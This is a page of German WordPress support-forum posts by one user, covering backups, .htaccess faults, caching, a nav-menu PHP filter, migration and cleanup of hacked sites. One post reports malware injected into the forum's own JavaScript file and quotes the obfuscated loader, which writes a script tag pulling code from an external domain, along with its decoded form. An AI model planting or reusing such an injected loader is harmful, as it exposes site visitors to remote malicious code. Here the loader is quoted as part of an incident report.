Beiträge von b3317133

Zu den "Daten der Wordpressinstallation" gehört die Datenbank. Wenn ein UpdraftPlus Backup inkl. Datenbank vorliegt, spiele das wieder ein.

Zitat von borusse

Sollte man dies dann in dem Fall hier nicht auch tun :confused:.

Aus meiner Sicht schon.

Heute ist die Datei forum.wpde.org/clientscript/vbulletin_md5.js?v=425 verseucht, der Code am Ende der Datei ab [FONT=courier new]var _0x142f=[/FONT]... verlinkt (nach "Entschlüsselung") auf ein externes Script von der Domain [FONT=courier new]jurtym.cf[/FONT] ...

... var _0x142f=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6A\x75\x72\x74\x79\x6D\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0xb0e7=[_0x142f[0],_0x142f[1]];var _0x2490=[_0xb0e7[0],_0xb0e7[1]];var _0x9cd3=[_0x2490[0],_0x2490[1]];var _0x2f93=[_0x9cd3[0],_0x9cd3[1]];document[_0x2f93[1]](_0x2f93[0])

<script src="//jurtym.cf"></script>

Zitat von r23

Der Zugriff auf license.txt; readme.html sollte auch Sicherheitsgründen nicht erlaubt werden - Hacker können so die WordPress version erkennen ..

Unnötiger Aufwand, um die Version zu erkennen, braucht ein Hacker bzw. ein Bot diese Dateien nicht...

Könnte ein Bug in WordPress sein. Konnte das heute über eine frische 4.9.1 Multisite Installation (mit Unterordnern) in einem Strato Account mit einer Domain, die auf ein Unterverzeichnis im Account zeigt, reproduzieren.

AngeDeDiable: Bei welchem Provider bist Du?

Zitat von Elsterhund

[your-subject] ist ja der Betreff im Standard Formular von Wordpress.

WordPress selbst hat kein Standard-Formular.

Falls bei Dir ein Plugin wie z.B. Contact Form 7 benutzt wird, könnte man [FONT=courier new]default:get[/FONT] verwenden.

Könnte ein Hack sein. Erscheint der Text in Firefox, wenn Du aus dem Backend abgemeldet bist? Link zur Seite?

Link zur Seite?

Zitat von magura

na dann müßten die Seiten ja irgendwo innerhalb von wordpress auftauchen

Nicht zwingend, bei den meisten Hacks werden die anderweitig erzeugt.

Könnte an einer fehlerhaften .htaccess im Hauptverzeichnis liegen, hatte kürzlich so einen Fall, da wurde in die von WordPress generierte .htaccess fälschlicherweise ein Teil des internen Serverpfads mit eingefügt, ähnlich wie hier wo 2x fälschlicherweise [FONT=courier new]ourbusiness/$2[/FONT] statt richtigerweise nur [FONT=courier new]$2[/FONT] steht.

Der Fehler liegt lt. Fehlermeldung darin, dass eine Datei wg. "the server responded with a status of 503 (Service Unavailable)" nicht geladen werden kann. Das kann am Server liegen oder an irgendwelchen Add-Ons im Browser oder an einem Antivirenprogramm oder an nicht vorhandenen DNS-Einträgen (falls der Website ursprünglich lokal auf dem Macbook installiert wurde) oder, oder, oder...

Funktioniert die restliche Seite auf dem Windows-Rechner? Link zur Seite?

Was das sein kann, könnte man ggf. erraten, wenn man wüsste, wie die Fehlermeldung lautet...

Yoast hat ein internes "transient caching" für Sitemaps (Punkt 4) und müssen je nach Cache Plugin explizit von deren Cache ausgenommen werden.

Könnte man über einen Filter lösen, den man mit Hilfe einer CSS-Klasse nutzt, z.B. so

function b3317133_wp_setup_nav_menu_item( $menu_item ) {
    if (
        !is_admin()
        && !empty( $menu_item->classes )
        && in_array( 'b3317133-top', $menu_item->classes )
    ) {
        $menu_item->target = '_top';
    }
    return $menu_item;
}
add_filter( 'wp_setup_nav_menu_item', 'b3317133_wp_setup_nav_menu_item' );

Wenn man einem Menü-Eintrag damit u.a. eine CSS-Klasse [FONT=courier new]b3317133-top[/FONT] gibt, wird das [FONT=courier new]target[/FONT] auf [FONT=courier new]_top[/FONT] geändert, egal was da vorher stand.

Falls man beim Menü-Eintrag keine CSS-Klasse eingeben kann, ganz oben auf der Menü-Seite unter "Ansicht anpassen" einen Haken bei "CSS-Klassen" machen.

Es könnte auch ein sehr bekannter Bug sein, aber das kann man so nur erraten...

Evtl. stört das im Theme eingebundene JavaScript bzgl. einer Navigation ../themes/susanne/js/navigation.js

Das kann schon passieren, wenn die englischen Seiten z.B. deutsche Texte, Titel, Permalinks, Meta Description usw. haben.

Auf Aussagen (negativ wie positiv) eines uralten Antivirus Plugins, das ein Jahr nicht mehr aktualisiert wurde und nur bis WordPress 4.6.9 getestet ist, sollte man sich nicht wirklich verlassen.

Es geht mit dem Duplicator sicher auch. In diesem speziellen Fall (kein Wechsel auf anderen Server) könnte man es auch schneller und ohne
Download/Upload aller Daten lösen.

1. Domain bei 1&1 auf den gewünschten Ordner setzen, in dem Fall /Ehrenbreitenstein/

2. Verschieben des gesamten Inhalts von /Ehrenbreitenstein/WPDI/ in /Ehrenbreitenstein/

3. Neu in WordPress Admin anmelden und Permalinks speichern und (falls z.B. interne absolute Pfade von Plugins o.ä. vorhanden sind) mit Better Search Replace "/Ehrenbreitenstein/WPDI/" durch "/Ehrenbreitenstein/" ersetzen.

Dein Website wurde offenbar gehackt. Das manuelle Ausblenden von Fehlermeldungen halte ich für sinnlos, eine Bereinigung oder auch ggf. Neuinstallation steht an.

Würde alle WordPress Systemdateien austauschen, Dateien ohne WordPress-Bezug in den Systemordnern entfernen, alle Plugins durch sicher saubere Versionen ersetzen und das Theme ebenfalls, dafür wäre eine saubere Version vom Kaufzeitpunkt praktisch.

Dazu alle Passwörter ändern: FTP, MySQL und alle WordPress Benutzer.